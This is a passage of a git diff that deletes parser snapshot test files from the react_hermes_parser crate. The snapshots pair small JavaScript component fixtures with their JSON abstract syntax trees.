-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          65
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          66,
-                          67
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        60,
-                        67
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    39,
-                    70
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  35,
-                  70
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              31,
-              71
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "Identifier",
-                "name": "t",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  75
-                ]
-              },
-              "right": {
-                "type": "TemplateLiteral",
-                "quasis": [
-                  {
-                    "type": "TemplateElement",
-                    "tail": true,
-                    "value": {
-                      "cooked": "",
-                      "raw": ""
-                    },
-                    "loc": null,
-                    "range": [
-                      79,
-                      81
-                    ]
-                  }
-                ],
-                "expressions": [],
-                "loc": null,
-                "range": [
-                  79,
-                  81
-                ]
-              },
-              "loc": null,
-              "range": [
-                74,
-                81
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              74,
-              82
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                92,
-                93
-              ]
-            },
-            "loc": null,
-            "range": [
-              85,
-              94
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          27,
-          96
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        96
-      ],
-      "loc": null,
-      "range": [
-        0,
-        96
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "componentB",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          107,
-          117
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            118,
-            123
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    134
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFoo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      137,
-                      143
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TemplateLiteral",
-                      "quasis": [
-                        {
-                          "type": "TemplateElement",
-                          "tail": false,
-                          "value": {
-                            "cooked": "hello ",
-                            "raw": "hello "
-                          },
-                          "loc": null,
-                          "range": [
-                            144,
-                            153
-                          ]
-                        },
-                        {
-                          "type": "TemplateElement",
-                          "tail": true,
-                          "value": {
-                            "cooked": "",
-                            "raw": ""
-                          },
-                          "loc": null,
-                          "range": [
-                            160,
-                            162
-                          ]
-                        }
-                      ],
-                      "expressions": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              153,
-                              158
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              159,
-                              160
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            153,
-                            160
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        144,
-                        162
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    137,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  133,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              129,
-              164
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                175
-              ]
-            },
-            "loc": null,
-            "range": [
-              167,
-              176
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          125,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        98,
-        178
-      ],
-      "loc": null,
-      "range": [
-        98,
-        178
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    178
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-accessed-outside-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-accessed-outside-scope.js.snap
deleted file mode 100644
index f6970f94aefe..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-accessed-outside-scope.js.snap
+++ /dev/null
@@ -1,217 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/temporary-accessed-outside-scope.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let x = props;
-  return [x, maybeMutate(maybeMutable)];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  86
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              73,
-              87
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    99
-                  ]
-                },
-                {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "maybeMutate",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      101,
-                      112
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "maybeMutable",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        113,
-                        125
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    101,
-                    126
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                97,
-                127
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              128
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          130
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        130
-      ],
-      "loc": null,
-      "range": [
-        0,
-        130
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    130
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-at-start-of-value-block.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-at-start-of-value-block.js.snap
deleted file mode 100644
index 69ae4aafc459..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-at-start-of-value-block.js.snap
+++ /dev/null
@@ -1,304 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/temporary-at-start-of-value-block.js
----
-Input:
-function component(props) {
-  // NOTE: the temporary for the leading space was previously dropped
-  const x = isMenuShown ? <Bar> {props.a ? props.b : props.c}</Bar> : null;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "isMenuShown",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      110,
-                      121
-                    ]
-                  },
-                  "alternate": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      168,
-                      172
-                    ]
-                  },
-                  "consequent": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Bar",
-                        "loc": null,
-                        "range": [
-                          125,
-                          128
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        124,
-                        129
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXText",
-                        "value": " ",
-                        "raw": " ",
-                        "loc": null,
-                        "range": [
-                          129,
-                          130
-                        ]
-                      },
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "ConditionalExpression",
-                          "test": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                131,
-                                136
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                137,
-                                138
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              131,
-                              138
-                            ]
-                          },
-                          "alternate": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                151,
-                                156
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                157,
-                                158
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              151,
-                              158
-                            ]
-                          },
-                          "consequent": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                141,
-                                146
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                147,
-                                148
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              141,
-                              148
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            131,
-                            158
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          130,
-                          159
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Bar",
-                        "loc": null,
-                        "range": [
-                          161,
-                          164
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        159,
-                        165
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      124,
-                      165
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    172
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  172
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              173
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                183,
-                184
-              ]
-            },
-            "loc": null,
-            "range": [
-              176,
-              185
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          187
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        187
-      ],
-      "loc": null,
-      "range": [
-        0,
-        187
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    187
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-property-load-accessed-outside-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-property-load-accessed-outside-scope.js.snap
deleted file mode 100644
index a978bc7f5386..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@temporary-property-load-accessed-outside-scope.js.snap
+++ /dev/null
@@ -1,236 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/temporary-property-load-accessed-outside-scope.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let x = props.value;
-  return [x, maybeMutate(maybeMutable)];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      81,
-                      86
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "value",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      87,
-                      92
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    81,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              73,
-              93
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    105
-                  ]
-                },
-                {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "maybeMutate",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      107,
-                      118
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "maybeMutable",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        119,
-                        131
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    107,
-                    132
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                103,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              96,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          136
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        136
-      ],
-      "loc": null,
-      "range": [
-        0,
-        136
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    136
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-assignment-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-assignment-expression.js.snap
deleted file mode 100644
index 64468a182723..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-assignment-expression.js.snap
+++ /dev/null
@@ -1,269 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ternary-assignment-expression.js
----
-Input:
-function ternary(props) {
-  let x = 0;
-  const y = props.a ? (x = 1) : (x = 2);
-  return x + y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ternary",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          16
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            17,
-            22
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              28,
-              38
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        56
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      51,
-                      58
-                    ]
-                  },
-                  "alternate": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        72,
-                        73
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        76,
-                        77
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      72,
-                      77
-                    ]
-                  },
-                  "consequent": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        66,
-                        67
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      67
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    51,
-                    78
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  78
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              79
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  89,
-                  90
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  93,
-                  94
-                ]
-              },
-              "loc": null,
-              "range": [
-                89,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              82,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          24,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-expression.js.snap
deleted file mode 100644
index 8a52997801aa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ternary-expression.js.snap
+++ /dev/null
@@ -1,582 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ternary-expression.js
----
-Input:
-function ternary(props) {
-  const a = props.a && props.b ? props.c || props.d : props.e ?? props.f;
-  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
-  return a ? b : null;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ternary",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          16
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            17,
-            22
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "LogicalExpression",
-                    "operator": "&&",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          43
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          44,
-                          45
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        38,
-                        45
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          49,
-                          54
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          56
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        49,
-                        56
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      38,
-                      56
-                    ]
-                  },
-                  "alternate": {
-                    "type": "LogicalExpression",
-                    "operator": "??",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          85
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "e",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          86,
-                          87
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        80,
-                        87
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          91,
-                          96
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "f",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          98
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        91,
-                        98
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      80,
-                      98
-                    ]
-                  },
-                  "consequent": {
-                    "type": "LogicalExpression",
-                    "operator": "||",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          59,
-                          64
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          66
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        59,
-                        66
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          70,
-                          75
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          77
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        70,
-                        77
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      59,
-                      77
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    38,
-                    98
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  98
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              28,
-              99
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        112,
-                        117
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        118,
-                        119
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      112,
-                      119
-                    ]
-                  },
-                  "alternate": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        165,
-                        170
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "f",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        171,
-                        172
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      165,
-                      172
-                    ]
-                  },
-                  "consequent": {
-                    "type": "ConditionalExpression",
-                    "test": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
